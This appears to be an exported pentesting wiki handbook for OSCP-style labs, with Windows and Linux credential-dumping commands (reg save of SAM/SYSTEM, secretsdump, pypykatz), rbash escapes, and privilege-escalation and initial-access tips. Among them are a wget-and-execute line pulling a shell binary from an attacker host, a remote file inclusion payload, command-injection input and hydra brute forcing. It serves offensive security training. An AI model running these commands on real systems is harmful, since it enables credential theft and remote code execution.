BE CAREFUL AS THIS MIGHT BREAK SOME PACKAGES. Always take snapshot before running the commands below.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# If you&#039;re having problems with kali acting up, you can reset kali to default.&lt;br /&gt;
# To reset Kali Linux to the default package and kernel, you will need to run the following commands:&lt;br /&gt;
sudo apt-get update &amp;amp;&amp;amp; sudo apt-get upgrade&lt;br /&gt;
sudo apt-get dist-upgrade&lt;br /&gt;
sudo apt-get autoremove&lt;br /&gt;
sudo apt-get autoclean&lt;br /&gt;
sudo update-grub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Restricted shell (rbash) - Linux Restricted Shell Bypass ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://vk9-sec.com/linux-restricted-shell-bypass/&lt;br /&gt;
# List of escape methods&lt;br /&gt;
https://www.hacknos.com/rbash-escape-rbash-restricted-shell-escape/&lt;br /&gt;
# If in rshell (Restricted shell), use this command to list all available commands&lt;br /&gt;
compgen -c&lt;br /&gt;
# Rbash escape ssh&lt;br /&gt;
ssh alfred@10.11.1.101 -t &#039;bash&#039; --noprofile&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2022-11-image-1.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
=== Read .db files ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# For DB files, like users.db. Read content with sqlitebrowser&lt;br /&gt;
sqlitebrowser users.db&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Read Windows registry files on Linux ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Start hivexsh, and load a hive.&lt;br /&gt;
# https://linux.die.net/man/1/hivexsh&lt;br /&gt;
hivexsh&lt;br /&gt;
&amp;gt; load SECURITY&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== ss instead of netstat ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ss -tlpn&lt;br /&gt;
-t display tcp socket&lt;br /&gt;
-l display listening socket&lt;br /&gt;
-p show process using packets&lt;br /&gt;
-n dont resolve service name&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Fix Desktop Environment if its broken ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://www.kali.org/docs/general-use/xfce-faq/&lt;br /&gt;
If you are having issues, it may be that a config file is not set properly. First, backup .cache, .config, and .local. Next, running rm -r .cache .config .local and then rebooting will likely fix those issues.&lt;br /&gt;
REMEMBER TO DELETE IT FROM THE HOME USER and not root.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Fix Kali Login loop ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# On the login screen type&lt;br /&gt;
CTRL + ALT + F1&lt;br /&gt;
# then type this command from the home/kali dir.&lt;br /&gt;
sudo mv ~/.Xauthority ~/.Xauthority.backup sudo chmod 700 ~ sudo chown -R kali:kali ~ sudo service lightdm restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Useful Windows Commands ==&lt;br /&gt;
&lt;br /&gt;
=== Stealing SAM and SYSTEM ===&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/windows-hardening/stealing-credentials https://book.hacktricks.xyz/windows-hardening/stealing-credentials]&lt;br /&gt;
&lt;br /&gt;
This files should be &#039;&#039;&#039;located&#039;&#039;&#039; in &#039;&#039;C:\windows\system32\config\SAM&#039;&#039; and &#039;&#039;C:\windows\system32\config\SYSTEM.&#039;&#039; But &#039;&#039;&#039;you cannot just copy them in a regular way&#039;&#039;&#039; because they protected.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\windows\system32\config\SAM&lt;br /&gt;
C:\windows\system32\config\SYSTEM&lt;br /&gt;
C:\windows\system32\config\regback\system.old&lt;br /&gt;
C:\windows\system32\config\regback\system&lt;br /&gt;
C:\windows\system32\config\regback\sam.old&lt;br /&gt;
C:\windows\system32\config\regback\sam&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== From Registry ====&lt;br /&gt;
&lt;br /&gt;
The easiest way to steal those files is to get a copy from the registry:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
reg save HKLM\sam sam&lt;br /&gt;
reg save HKLM\system system&lt;br /&gt;
reg save HKLM\security security&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Download&#039;&#039;&#039; those files to your Kali machine and &#039;&#039;&#039;extract the hashes&#039;&#039;&#039; using:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
samdump2 SYSTEM SAM&lt;br /&gt;
impacket-secretsdump -sam sam -security security -system system LOCAL&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Check if shell is 64-bit ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
[Environment]::Is64BitOperatingSystem&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Decompile .NET exe file ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Use dotpeek or dnSPY&lt;br /&gt;
https://www.jetbrains.com/decompiler/&lt;br /&gt;
https://github.com/dnSpy/dnSpy&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Dump hashes from NTDS.dit using secretdump.py ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Location C:\Windows\ or C:\Windows\System32\&lt;br /&gt;
/usr/bin/impacket-secretsdump LOCAL -ntds ntds.dit -system SYSTEM -outputfile credentials.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Dumping Domain password hasehs ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://0xdf.gitlab.io/2020/10/03/htb-blackfield.html#diskshadow&lt;br /&gt;
https://pentestlab.blog/tag/diskshadow/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Dump creds frol lsass.dmp ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/skelsec/pypykatz&lt;br /&gt;
# See writeup for HTB Blackfield&lt;br /&gt;
pypykatz lsa minidump lsass.DMP&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Find writeable directories ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Find writable directories&lt;br /&gt;
dir /a-r-d /s /b&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Find .NET version using regkey ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
reg query &amp;quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Executing MSI on Windows ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
msiexec /quiet /i cmd.msi&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Dump Windows Sam File ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
reg save hklm\sam c:\sam&lt;br /&gt;
reg save hklm\system c:\system&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Run a dll using rundll32.exe ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
rundll32 C:\Tools\TestDll.dll,run&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Registry dump passwords ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
reg query HKLM /f password /t REG_SZ /s&lt;br /&gt;
reg query HKCU /f password /t REG_SZ /s&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Registry dump autologon passwords ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
reg.exe query &amp;quot;HKLM\software\microsoft\windows nt\currentversion\winlogon&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== See WiFi password in cleartext ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
netsh wlan show profile&lt;br /&gt;
netsh wlan show profile Profile01 key=clear&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Enviroment variable Location ===&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
| %ALLUSERSPROFILE%&lt;br /&gt;
|  C:\Documents and Settings\All Users&lt;br /&gt;
|-&lt;br /&gt;
| %APPDATA%&lt;br /&gt;
| C:\Documents and Settings\Username\Application Data&lt;br /&gt;
|-&lt;br /&gt;
| %COMMONPROGRAMFILES%&lt;br /&gt;
|  C:\Program Files\Common Files&lt;br /&gt;
|-&lt;br /&gt;
| %COMMONPROGRAMFILES(x86)%&lt;br /&gt;
| C:\Program Files (x86)\Common Files&lt;br /&gt;
|-&lt;br /&gt;
| %COMSPEC%&lt;br /&gt;
| C:\Windows\System32\cmd.exe&lt;br /&gt;
|-&lt;br /&gt;
| %HOMEDRIVE%&lt;br /&gt;
|  C:\&lt;br /&gt;
|-&lt;br /&gt;
| %HOMEPATH%&lt;br /&gt;
| C:\Documents and Settings\Username&lt;br /&gt;
|-&lt;br /&gt;
| %PROGRAMFILES%&lt;br /&gt;
| C:\Program Files&lt;br /&gt;
|-&lt;br /&gt;
| %PROGRAMFILES(X86)%&lt;br /&gt;
| C:\Program Files (x86) (only in 64-bit version)&lt;br /&gt;
|-&lt;br /&gt;
| %SystemDrive%&lt;br /&gt;
|  C:\&lt;br /&gt;
|-&lt;br /&gt;
| %SystemRoot%&lt;br /&gt;
| C:\Windows&lt;br /&gt;
|-&lt;br /&gt;
| %TEMP% and %TMP%&lt;br /&gt;
| C:\Documents and Settings\Username\Local Settings\Temp&lt;br /&gt;
|-&lt;br /&gt;
| %USERPROFILE%&lt;br /&gt;
| C:\Documents and Settings\Username&lt;br /&gt;
|-&lt;br /&gt;
| %WINDIR%&lt;br /&gt;
| C:\Windows&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== List all PowerShell Accelators ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
[psobject].assembly.gettype(&amp;quot;System.Management.Automation.TypeAccelerators&amp;quot;)::Get&lt;br /&gt;
Key                          Value&lt;br /&gt;
---                          -----&lt;br /&gt;
Alias                        System.Management.Automation.AliasAttribute&lt;br /&gt;
AllowEmptyCollection         System.Management.Automation.AllowEmptyCollectionAttribute&lt;br /&gt;
AllowEmptyString             System.Management.Automation.AllowEmptyStringAttribute&lt;br /&gt;
AllowNull                    System.Management.Automation.AllowNullAttribute&lt;br /&gt;
ArgumentCompleter            System.Management.Automation.ArgumentCompleterAttribute&lt;br /&gt;
array                        System.Array&lt;br /&gt;
bool                         System.Boolean&lt;br /&gt;
byte                         System.Byte&lt;br /&gt;
char                         System.Char&lt;br /&gt;
....&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== PROOFS ==&lt;br /&gt;
&lt;br /&gt;
=== Linux ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
echo &amp;quot; &amp;quot;;echo &amp;quot;uname -a:&amp;quot;;uname -a;echo &amp;quot; &amp;quot;;echo &amp;quot;hostname:&amp;quot;;hostname;echo &amp;quot; &amp;quot;;echo &amp;quot;id&amp;quot;;id;echo &amp;quot; &amp;quot;;echo &amp;quot;ifconfig:&amp;quot;;/sbin/ifconfig -a;echo &amp;quot; &amp;quot;;echo &amp;quot;proof:&amp;quot;;cat /root/proof.txt 2&amp;gt;/dev/null; cat /Desktop/proof.txt 2&amp;gt;/dev/null;echo &amp;quot; &amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Windows ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
echo. &amp;amp; echo. &amp;amp; echo whoami: &amp;amp; whoami 2&amp;gt; nul &amp;amp; echo %username% 2&amp;gt; nul &amp;amp; echo. &amp;amp; echo Hostname: &amp;amp; hostname &amp;amp; echo. &amp;amp; ipconfig /all &amp;amp; echo. &amp;amp; echo proof.txt: &amp;amp;  type &amp;quot;C:\Documents and Settings\Administrator\Desktop\proof.txt&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== HELP! I&#039;m stuck - What to do when stuck ==&lt;br /&gt;
&lt;br /&gt;
The list below is taken from [https://www.blakejarvis.com/oscp/oscp-things-to-try-when-stuck blakejarvis&#039; notes.]&lt;br /&gt;
&lt;br /&gt;
=== Initial access ===&lt;br /&gt;
&lt;br /&gt;
==== Web discovery ====&lt;br /&gt;
&lt;br /&gt;
* Search for &amp;lt;code&amp;gt;http://site/[hostname]&amp;lt;/code&amp;gt; if you can&#039;t find a directory or software you think should exist.&lt;br /&gt;
&lt;br /&gt;
* Try both GET and POST methods for all URLs given that may be blocking data via a particular HTTP method.&lt;br /&gt;
&lt;br /&gt;
* Fuzz parameters with ffuf.&lt;br /&gt;
&lt;br /&gt;
* Examine response headers for minor custom errors.&lt;br /&gt;
&lt;br /&gt;
==== Getting a shell ====&lt;br /&gt;
&lt;br /&gt;
* To save time, upload a web shell instead of manually executing PHP commands.&lt;br /&gt;
&lt;br /&gt;
* Some PHP local file inclusion vulnerabilities can reference remote resources with &amp;lt;code&amp;gt;?path=http://[kali ip]/rev-shell.php&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
* Break up an exploit. Use Wireshark to watch for ICMP pings back home instead of going for a reverse shell right away.&lt;br /&gt;
&lt;br /&gt;
* Instead of sharing a full rev shell payload, download an elf, +x, and execute it all in 1 command: &amp;lt;code&amp;gt;wget -P /tmp http://kali/shell.elf &amp;amp;&amp;amp; chmod +x /tmp/shell.elf &amp;amp;&amp;amp; /tmp/shell.elf&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* If a CMS has an RCE, look closely at what/where it&#039;s implemented. If it has /skins/ in a proof-of-concept URL, check for that functionality in admin panel or in online documentation.&lt;br /&gt;
&lt;br /&gt;
* When calling back on a port (web request, shell, etc.) try multiple ports if the first fails.&lt;br /&gt;
&lt;br /&gt;
* Piece together multiple initial access exploits. If one creates a web account and tries for a shell and fails, add &amp;lt;code&amp;gt;exit(0)&amp;lt;/code&amp;gt; in the python script after the account is created and use the credentials for another exploit.&lt;br /&gt;
&lt;br /&gt;
* Use the same ports the box has open for shell callbacks.&lt;br /&gt;
&lt;br /&gt;
* Try at least 4 ports and ping when trying to get a callback.&lt;br /&gt;
&lt;br /&gt;
* If you can control data being read to the server, always consider serialization.&lt;br /&gt;
&lt;br /&gt;
* Always test payloads locally, especially if it&#039;s blind.&lt;br /&gt;
&lt;br /&gt;
* Consider where can you write data to that&#039;s then read back in to the server.&lt;br /&gt;
&lt;br /&gt;
==== General ====&lt;br /&gt;
&lt;br /&gt;
* Don&#039;t spin wheels on other routes if something has a known exploit to root and it&#039;s a 10 pointer.&lt;br /&gt;
&lt;br /&gt;
* Check version numbers to ensure something isn&#039;t a false flag.&lt;br /&gt;
&lt;br /&gt;
* Consider similar protocols. If you get an SSH key, try using it over SCP.&lt;br /&gt;
&lt;br /&gt;
* Type version numbers carefully!&lt;br /&gt;
&lt;br /&gt;
* For hydra always do -e nsr. Example: &amp;lt;code&amp;gt;hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.1.1 ftp -vV -f -e nsr -I&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Look for &amp;lt;code&amp;gt;auth-owners&amp;lt;/code&amp;gt; in nmap to get usernames.&lt;br /&gt;
&lt;br /&gt;
* FTP - always be in a directory on kali that&#039;s writable to download files.&lt;br /&gt;
&lt;br /&gt;
* FTP brute force &amp;quot;admin&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
* Search Metasploit modules for ideas [https://github.com/rapid7/metasploit-framework https://github.com/rapid7/metasploit-framework].&lt;br /&gt;
&lt;br /&gt;
* Search a software&#039;s Github page for version files that would give specific information.&lt;br /&gt;
&lt;br /&gt;
* See Proving Grounds&#039; Dibble for node.js RCE.&lt;br /&gt;
&lt;br /&gt;
* Review page source code for commented out areas for every page.&lt;br /&gt;
&lt;br /&gt;
* Guess parameters. If there&#039;s a POST forgot_pass.php with an email param, try &amp;lt;code&amp;gt;GET /forgot_pass.php?email=%0aid.&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Parameter/command injection fuzzing:&lt;br /&gt;
Payload list: [https://github.com/payloadbox/command-injection-payload-list github.com/payloadbox/command-injection-payload-list]&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;ffuf -w cmd-wordlist.txt -u 192.168.1.1/under_construction/forgot.php?email=abcdFUZZde&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* See Proving Grounds&#039; Hetemit for an example&lt;br /&gt;
&lt;br /&gt;
* When brute forcing credentials, guess the software name as the username and password.&lt;br /&gt;
&lt;br /&gt;
* When dealing with file type uploads, try specifying just the header like GIF89a;. Files pulled from Google Images could be made different and not identified as a GIF.&lt;br /&gt;
&lt;br /&gt;
=== Windows Privilege Escalation ===&lt;br /&gt;
&lt;br /&gt;
* Explore the C:\ drive root. Some scheduled tasks can&#039;t be seen as a low level user could be located at C:\.&lt;br /&gt;
&lt;br /&gt;
* Always test a reverse shell on a windows box when attempting to get a shell.&lt;br /&gt;
&lt;br /&gt;
* Explore alternatives to a reverse shell. Leverage exposed remote access protocols. For example, if a reverse shell doesn&#039;t work, execute a command to change the Administrator password and used smbexec to auth.&lt;br /&gt;
&lt;br /&gt;
* Identify all users. Attempt to brute force authentication via RDP&lt;br /&gt;
&lt;br /&gt;
* Always view &amp;quot;C:\program files&amp;quot; and &amp;quot;C:\program files (x86)&amp;quot; for installed apps.&lt;br /&gt;
&lt;br /&gt;
=== Linux Privilege Escalation ===&lt;br /&gt;
&lt;br /&gt;
* Privesc scripts aren&#039;t always right:&lt;br /&gt;
e.g. a decoy exist item in crontab when &amp;lt;code&amp;gt;sudo -l&amp;lt;/code&amp;gt; reveals a process dumper used to get credentials from memory.&lt;br /&gt;
&lt;br /&gt;
* If a process dumper is available, don&#039;t Google too deep. See if there are custom &amp;quot;password&amp;quot; processes to target.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;su root&amp;lt;/code&amp;gt; is the best way to switch to root if you have a password but aren&#039;t in root group.&lt;br /&gt;
&lt;br /&gt;
* Identify all users. Attempt to brute force auth ssh if &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/etc/passwd&amp;lt;/code&amp;gt; is pulled.&lt;br /&gt;
&lt;br /&gt;
* Always run &amp;lt;code&amp;gt;echo $PATH&amp;lt;/code&amp;gt; to show available commands/locations.&lt;br /&gt;
&lt;br /&gt;
* Docker - see Proving Grounds&#039; Sirol/Escape box.&lt;br /&gt;
&lt;br /&gt;
* If a user is in a group, it&#039;s probably for a reason.&lt;br /&gt;
&lt;br /&gt;
* Fully understand software that&#039;s related to a user&#039;s group (e.g. fail2ban group).&lt;br /&gt;
&lt;br /&gt;
* Use [https://github.com/DominicBreuker/pspy pspy] to spy on processes and cronjobs you may not be able to see&lt;br /&gt;
&lt;br /&gt;
* Run &amp;lt;code&amp;gt;groups&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;cat ~/.profile &amp;amp;&amp;amp; cat ~/.bashrc&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
* If running as www-data, always inspect the contents of html or the application, look for commented out passwords.&lt;br /&gt;
&lt;br /&gt;
* If another user exist, always &amp;lt;code&amp;gt;su [user]&amp;lt;/code&amp;gt; with no password and their name as the password.&lt;br /&gt;
&lt;br /&gt;
* Check &amp;lt;code&amp;gt;/var/backups&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
* Custom SUIDs won&#039;t be highlighted as linpeas and other privesc scripts don&#039;t know what they are.&lt;br /&gt;
Examine each and every SUD!&lt;br /&gt;
&lt;br /&gt;
* Run [https://github.com/diego-treitos/linux-smart-enumeration linux-smart-enumeration/lse.sh] as a backup privilege escalation script.&lt;br /&gt;
&lt;br /&gt;
* Run also linux-exploit-suggester and linux-exploit-suggester-2.pl&lt;br /&gt;
&lt;br /&gt;
* Try kernel exploits! If no &amp;lt;code&amp;gt;gcc &amp;lt;/code&amp;gt;installed, compile on kali with &amp;lt;code&amp;gt;gcc --static&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Files with caps / capabilities - see Proving Grounds&#039; Escape box.&lt;br /&gt;
[[Category:Handbooks]]&lt;/div&gt;</summary>
		<author><name>Administrator</name></author>
	</entry>
	<entry>
		<id>https://book.ghanim.no/index.php?title=Handbook_I_-_Basic&amp;diff=2373</id>
		<title>Handbook I - Basic</title>
		<link rel="alternate" type="text/html" href="https://book.ghanim.no/index.php?title=Handbook_I_-_Basic&amp;diff=2373"/>
		<updated>2026-06-03T13:43:31Z</updated>

		<summary type="html">&lt;p&gt;Administrator: /* 5985, 5986 - WinRM */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Enumeration is key ==&lt;br /&gt;
&lt;br /&gt;
* Look over the ports and scans. Get an idea of what you&#039;re working with.&lt;br /&gt;
&lt;br /&gt;
* Dont just jump on a port and start hacking&lt;br /&gt;
&lt;br /&gt;
* Find service and versions&lt;br /&gt;
&lt;br /&gt;
* Find known service bugs&lt;br /&gt;
&lt;br /&gt;
* Find config issues&lt;br /&gt;
&lt;br /&gt;
* Find vulnerabilities using &#039;&#039;&#039;Searchsploit&#039;&#039;&#039; every service/app available&lt;br /&gt;
&lt;br /&gt;
* Enumerate each service closely. Look at the header using nc/telnet.&lt;br /&gt;
&lt;br /&gt;
* Default credentials (admin:admin, admin:secret, admin:pass etc…)&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Useful websites ==&lt;br /&gt;
&lt;br /&gt;
[https://kashz.gitbook.io/kashz-jewels/services/ovidentia https://kashz.gitbook.io/kashz-jewels/]&lt;br /&gt;
&lt;br /&gt;
[https://lelinhtinh.github.io/de4js/ https://lelinhtinh.github.io/de4js/]&lt;br /&gt;
&lt;br /&gt;
[https://evasions.checkpoint.com/ Evasion techniques (checkpoint.com)]&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== RedTeam Mindmap ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/N1arut/Pentesting-Mind-Map Pentesting-Mind-Map/PT-V1.3.1.xmind at main · N1arut/Pentesting-Mind-Map · GitHub]&lt;br /&gt;
&lt;br /&gt;
[https://blog.aghanim.net/wp-content/uploads/2023/05/Red-Teaming.pdf Red-Teaming][https://blog.aghanim.net/wp-content/uploads/2023/05/Red-Teaming.pdf Download]&lt;br /&gt;
&lt;br /&gt;
== WebApp Mindmap ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/N1arut/Pentesting-Mind-Map Pentesting-Mind-Map/PT-V1.3.1.xmind at main · N1arut/Pentesting-Mind-Map · GitHub]&lt;br /&gt;
&lt;br /&gt;
[https://blog.aghanim.net/wp-content/uploads/2023/05/Web-Penetration-Testing-1.pdf Web-Penetration-Testing-1][https://blog.aghanim.net/wp-content/uploads/2023/05/Web-Penetration-Testing-1.pdf Download]&lt;br /&gt;
&lt;br /&gt;
== Network Mapping ==&lt;br /&gt;
Tools used to map out internal networks once a foothold is obtained. Please note that many of these tools and commands can create alot of traffic. Make sure to adjust based on your engagement rules.&lt;br /&gt;
=== Angry IP Scanner ===&lt;br /&gt;
[https://angryip.org/download/#windows Angry IP Scanner - Download for Windows, Mac or Linux]&lt;br /&gt;
[[File:2024-08-image-1.png|thumb]]&lt;br /&gt;
=== NMAP ===&lt;br /&gt;
Fast scan to list open ports&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nmap -p- --min-rate 10000&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Scan using default scripts and list version, output to nmap.result&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nmap -sC -sV  -oN nmap.result&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Default nmap command to run against target&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nmap -sC -sV -sU -p- --min-rate 10000  -oN outfile&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
=== Quick port scan script ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#!/bin/bash&lt;br /&gt;
host=192.168.1.1&lt;br /&gt;
for port in {1..65535}; do&lt;br /&gt;
    timeout .1 bash -c &amp;quot;echo &amp;gt;/dev/tcp/$host/$port&amp;quot; &amp;amp;&amp;amp;&lt;br /&gt;
        echo &amp;quot;port $port is open&amp;quot;&lt;br /&gt;
done&lt;br /&gt;
echo &amp;quot;Done&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Ping scan one-liner ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
for /L %i in (1,1,255) do @ping -n 1 -w 200 10.5.5.%i &amp;gt; nul &amp;amp;&amp;amp; echo 10.5.5.%i is up.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== PRTG Network Monitor ===&lt;br /&gt;
&lt;br /&gt;
[https://www.paessler.com/network_monitoring_tool Network monitoring tool | PRTG (paessler.com)]&lt;br /&gt;
&lt;br /&gt;
=== SoftPerfect Network Scanner ===&lt;br /&gt;
&lt;br /&gt;
[https://www.softperfect.com https://www.softperfect.com]&lt;br /&gt;
SoftPerfect Network Scanner can ping computers, scan ports, discover shared folders, retrieve device information via WMI, SNMP, HTTP, SSH, and PowerShell, scan remote services, registry, files, and performance counters, and export results in various formats.&lt;br /&gt;
&lt;br /&gt;
Free version limit: Only 10 devices.&lt;br /&gt;
&lt;br /&gt;
[[File:2024-08-image.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
